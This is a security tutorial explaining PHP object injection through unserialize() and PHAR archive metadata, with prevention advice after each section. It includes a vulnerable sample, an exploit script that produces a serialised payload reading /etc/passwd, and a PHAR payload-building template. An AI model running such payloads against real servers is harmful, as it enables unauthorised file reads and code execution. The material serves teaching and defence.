Introduction

PHP Object Injection is a type of an insecure deserialisation attack which can result in arbitrary code execution.

Magic Methods

PHP Magic Methods are a set of reserved methods for PHP objects which can be defined and which are automatically invoked in certain situations. Whilst it is possible to achieve code execution entirely by using normal methods on objects, magic methods can make the process easier.

Serialisation

PHP has functionally which allows arbitrary objects to be turned into strings and then later retrieved as objects from those same strings. This is achieved through the serialize() and unserialize() functions. When an adversary has control over the object which gets deserialised, they can manipulate the input in such a way to make the PHP script perform arbitrary actions.

<?php
class User
{
	public $name;
	public $isAdmin;
}

$user = new User();
$user->name = "cr0mll";
$user->isAdmin = False;

echo serialize($user);
?>

The serialisation string follows the type:data paradigm and has the following structure:

TypeFormat
Booleanb:value
Integeri:value
Floatd:value
Strings:length:"value"
Arraya:size:{values}
ObjectO:name_length:"Class_name":number_of_properties:{properties}

Deserialisation

Deserialisation is the inverse operation - the unserialize() function takes a string and converts it to a PHP object (or normal variable). When the string passed to unserialize() is user-controlled, an adversary can craft a custom string which will result in an object with values of the attacker's choice. When these values are later used by the PHP application, they can alter its behaviour. Take a look at the following example:

<?php
class LoadFile
{
	public function __tostring()
	{
		return file_get_contents($this->filename);
	}
}

class User
{
	public $name;
	public $isAdmin;
}

$user = unserialize($_POST['user']);

if $user->isAdmin
{
	echo $user->name . " is an admin.\n"
}
else
{
	echo $user->name . " is not an admin.\n"
}
?>

In order to achieve arbitrary code execution, object injection relies on PHP Gadgets - pieces of code (typically classes) that the PHP script has access to. Usually, PHP code runs in some sort of a framework - when this is true, it is rather easy to find gadgets. Here, however, we do not have that luxury.

The User class is only a storage container - it has no functionality. On the other hand, the LoadFile class can do some stuff. It has the __tostring magic method defined and it returns the contents of the file with the provided filename.

We can manipulate the user object. Therefore, it is possible to set its name to an object - namely a LoadFile object with the file name set to anything we like. When the server receives this malicious user with an embedded LoadFile object, it is going to attempt to turn it into a string when echo is called. The embedded LoadFile object has its filename set to /etc/passwd for example, and so file_get_contents() is going to read this file, return its contents as a string and echo will print them out for us. Here is the exploit code:

<?php
class LoadFile
{
	public function __tostring()
	{
		return file_get_contents($this->filename);
	}
}

class User
{
	public $name;
	public $isAdmin;
}

$obj = new LoadFile();
$obj->filename = "/etc/passwd";

$user = new User();
$user->name = $obj;
$user->isAdmin = true;

echo serialize($user);
?>

When we run this, we get the following serialisation string for the malicious user:

O:4:"User":2:{s:4:"name";O:8:"LoadFile":1:{s:8:"filename";s:11:"/etc/passwd";}s:7:"isAdmin";b:1;}

If we send it in a post request to the server, it will retrieve /etc/passwd for us:

Prevention

Never allow direct user control over the data passed to unserialize().

PHAR Files

PHAR is the PHP Archive format and can allow for object injection even when there is no direct unserialize() call - provided that there is a way to upload a file to the server. Phar archives require neither a specific extension nor a set of magic bytes for identification which makes them especially useful for bypassing file upload filters.

The format of the archive is the following:

  • Stub - must contain <?php __HALT_COMPILER(); ?>
  • Manifest
  • Metadata - contains the serialised data
  • Contents - the archive contents
  • Signature - for integrity verification

You would be quick to think that you can just inject code into the stub and it will be executed, but that is not the case. Where the stub really shines is the fact that it can contain anything before the <?php __HALT_COMPILER(); ?> part. This means that the stub can be used to imitate other file formats.

Under the hood, PHAR stores metadata in a PHP-serialised format which needs to be deserialised when PHP uses the archive. In order for this to happen, the server needs to access the archive using the phar:// stream wrapper. It is for this reason that a way of uploading files to it is necessary.

Generating the Payload

If you try generating a phar file using PHP, you will likely run into the following error:

In this case, you will need to set phar.readonly = Off in your /etc/php/<version>/cli/php.ini file (this is not required on the server, only on your machine). Afterwards, you can use the following code to generate the phar file:

<?php
$phar = new Phar("archive.phar"); # a .phar extension is required here but not when the archive is accessed using phar://
$phar->startBuffering();

$prefix = ...; # The data used for imitating another file format
$phar->setStub($prefix . "<?php __HALT_COMPILER(); ?>");

$payload = ...; # Object injection payload
$phar->setMetadata(serialize($payload));

$phar->addFromString("test.txt", "test"); # Optional
$phar->stopBuffering();
?>

The extension of the file can then be changed to anything. Subsequently, the file will need to be uploaded to the server. Once it is there, a way to make the server perform a file operation with phar://<filename> is required.

Additionally, there are a few caveats which need to be taken into account. The payload inside the object injection chain may only use the __wakeup() and __destruct() magic methods. Moreover, any file paths inside it must be absolute because phar files deal with context in a weird way when they are loaded.

Prevention

The only way to completely prevent phar file abusing is to disable the phar:// stream wrapper altogether:

stream_wrapper_unregister('phar');